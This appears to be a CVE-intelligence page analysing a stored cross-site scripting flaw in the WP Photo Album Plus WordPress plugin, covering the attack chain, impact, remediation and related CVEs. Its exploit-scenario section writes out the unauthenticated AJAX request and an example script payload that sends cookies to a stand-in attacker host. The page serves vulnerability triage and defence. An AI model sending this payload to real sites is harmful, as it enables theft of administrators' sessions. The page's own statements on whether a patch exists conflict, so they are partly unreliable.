Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend unauthenticated POST to wp_ajax_nopriv_wppa endpoint
-
DeliverySubmit getshortcodedrenderedfenodelay action with malicious X-Forwarded-For header
-
ExploitNonce failure triggers wppa_log() writing unsanitized XFF to disk
-
ExecutionAdmin visits page rendering plugin log
-
PersistStored script executes in admin browser
-
ImpactSession token or admin action hijacked
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The WordPress site must have the WP Photo Album Plus plugin installed and activated in any version through 9.2.08.003. No authentication is required - the wp_ajax_nopriv_wppa hook exposes the getshortcodedrenderedfenodelay action to unauthenticated callers, and the exploit deliberately omits a valid nonce to trigger the log-write branch rather than bypass it. Exploitation of the stored payload additionally requires a victim user (ideally an administrator) to visit a page that renders the plugin's log output. The X-Forwarded-For header must reach the PHP application unsanitized, meaning a reverse proxy or load balancer that strips or overwrites XFF headers would act as an incidental barrier - but this is a non-default protection, not a precondition for vulnerability. |
| Impact | The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N, score 7.2) accurately reflects the attack profile: network-accessible, no authentication, no complexity barriers, and scope-changed because the injected script executes in a different security context (the victim's browser). The nopriv AJAX endpoint means exploitation is fully automatable against any unpatched WordPress installation running this plugin - mass scanning for the endpoint and injecting payloads requires no credential acquisition phase. The direct impact is limited (C:L/I:L - typical stored XSS session hijack or admin action forgery territory), but scope change elevates risk if an admin account is targeted. No EPSS data was provided, and there is no KEV listing and no confirmed public POC at time of analysis; however, the technique is well-understood and Wordfence's advisory with explicit source-code references (specific file lines and changeset) provides sufficient detail for independent exploitation. Real-world priority is moderate-to-high for sites running this plugin, particularly given the zero-barrier unauthenticated entry point. |
| Exploit ScenarioDerived | An attacker sends an HTTP POST request to /wp-admin/admin-ajax.php with action=wppa&wppa_action=getshortcodedrenderedfenodelay and an X-Forwarded-For header containing a JavaScript payload such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script>. The deliberate omission of a valid nonce causes the plugin to enter its failure branch and log the unsanitized header value to disk. When an authenticated administrator subsequently navigates to the page rendering the plugin log, the injected script fires in their browser, potentially enabling session token theft or unauthorized administrative actions. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 11, 2026
Stored Cross-Site Scripting in the WP Photo Album Plus WordPress plugin (all versions through 9.2.08.003) allows unauthenticated remote attackers to permanently inject arbitrary JavaScript into pages served to other users. The vulnerability exists because the plugin's AJAX logging path - triggered via the unauthenticated wp_ajax_nopriv_wppa endpoint - records the attacker-supplied HTTP X-Forwarded-For header value directly to disk through wppa_log() without sanitization, then later renders that stored value without output escaping. No public exploit or KEV listing has been identified at time of analysis, but the technique (header spoofing against a nopriv AJAX endpoint) is trivially automatable.
RemediationAI
Upgrade WP Photo Album Plus to the version introduced in changeset 3641521 on the WordPress.org plugin SVN trunk, which patches wppa-input.php and wppa-admin-scripts.js (see changesets linked in the Wordfence advisory). A specific released version number beyond 9.2.08.003 is not independently confirmed from the available data - check the WordPress.org plugin page for the current release and verify the changelog references this fix. As an interim compensating control, web application firewall rules can be configured to strip or reject requests containing script tags or JavaScript event handlers in the X-Forwarded-For header on wp-admin/admin-ajax.php?action=wppa requests; note that WAF rules targeting HTTP headers can be bypassed via encoding variations, so patching remains essential. Blocking the wp_ajax_nopriv_wppa endpoint entirely via server-level rules would disable unauthenticated plugin functionality and may break legitimate front-end gallery rendering.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
WP Photo Album Plus (CPE: cpe:2.3:a:opajaap:wp_photo_album_plus) is a WordPress photo gallery plugin authored by opajaap. The root cause (CWE-79 Improper Neutralization of Input During Web Page Generation) manifests across two compounding weaknesses: unsanitized ingestion of the HTTP_X_FORWARDED_FOR server variable at wppa-input.php line 560 and wppa-utils.php line 1960, and unescaped output when the logged value is later rendered. The trigger path is particularly notable: the wp_ajax_nopriv_wppa AJAX hook (wppa-ajax.php line 1246) exposes the getshortcodedrenderedfenodelay action to unauthenticated callers. Rather than blocking on nonce failure, the code calls wppa_log() in the failure branch, inadvertently making the log-write reachable without any credential or valid nonce. The storedXSS payload persists server-side and executes in the browser of any user who subsequently visits the injected page.
Know when Wp Photo Album Plus gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Unauthenticated nopriv AJAX endpoint (PR:N, AV:N); stored XSS crosses security contexts into victim browser (S:C); limited C/I typical of XSS without privilege escalation chain.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The WP Photo Album Plus plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'HTTP_X_FORWARDED_FOR' parameter in all versions up to, and including, 9.2.08.003 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nonce failure path for the getshortcodedrenderedfenodelay action serves as the log-write trigger rather than an access barrier - a deliberately failed nonce check causes wppa_log() to record the attacker-supplied X-Forwarded-For value to disk, making the exploit fully reachable by unauthenticated callers via the wp_ajax_nopriv_wppa endpoint.
Executive ViewAI
WP Photo Album Plus WordPress plugin (all versions through 9.2.08.003) contains a stored cross-site scripting vulnerability allowing unauthenticated attackers to inject malicious code into website pages viewed by all users; no public exploit identified at time of analysis, but exploitation is trivially automatable. Compromised sites face credential theft, malware distribution, defacement, and regulatory violations. Organizations using this plugin face immediate exposure to widespread user compromise.
No vendor-released patch identified at time of analysis. If immediate plugin deactivation is not feasible, implement Web Application Firewall rules to block HTTP requests containing the wp_ajax_nopriv_wppa action parameter and restrict X-Forwarded-For header spoofing from untrusted network sources. Deploy strict Content-Security-Policy headers to restrict inline script execution and enable detailed access logging on AJAX endpoints for anomaly detection. These are interim measures only; plugin deactivation or vendor patching is required for complete remediation.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Wp Photo Album Plus
View allUnauthenticated information disclosure in WP Photo Album Plus (WordPress plugin, all versions before 9.2.07.002) allows
Unauthenticated arbitrary file deletion in WP Photo Album Plus (versions before 9.2.07.002) exposes WordPress sites to p
Reflected Cross-Site Scripting in the WP Photo Album Plus WordPress plugin (all versions before 9.2.07.002) allows unaut
SQL injection in the WP Photo Album Plus WordPress plugin before 9.1.11.001 allows unauthenticated attackers to inject a
Reflected cross-site scripting in WP Photo Album Plus before 9.2.11.002 allows remote unauthenticated attackers to injec
Insufficient authorization in WP Photo Album Plus (all versions before 9.2.09.002) allows any authenticated WordPress us
The WP Photo Album Plus WordPress plugin before 8.0.10 was vulnerable to Stored Cross-Site Scripting (XSS). Rated medium
Stored XSS in WP Photo Album Plus (all versions up to 9.2.03.001) allows unauthenticated remote attackers to inject pers
Unauthenticated SQL injection in the WP Photo Album Plus WordPress plugin (versions ≤ 9.1.08.001) allows remote attacker
Authenticated OS command injection in the WP Photo Album Plus WordPress plugin (all versions up to and including 9.3.02.
Multiple cross-site scripting (XSS) vulnerabilities in wppa-ajax-front.php in the WP Photo Album Plus (aka WPPA) plugin
Cross-site request forgery in the WP Photo Album Plus WordPress plugin before 9.3.04.004 allows an attacker to delete ph
EUVD-2026-75953
GHSA-5mj5-4x3x-pjmq
NVD
CVE.org
EPSS
Exploit-DB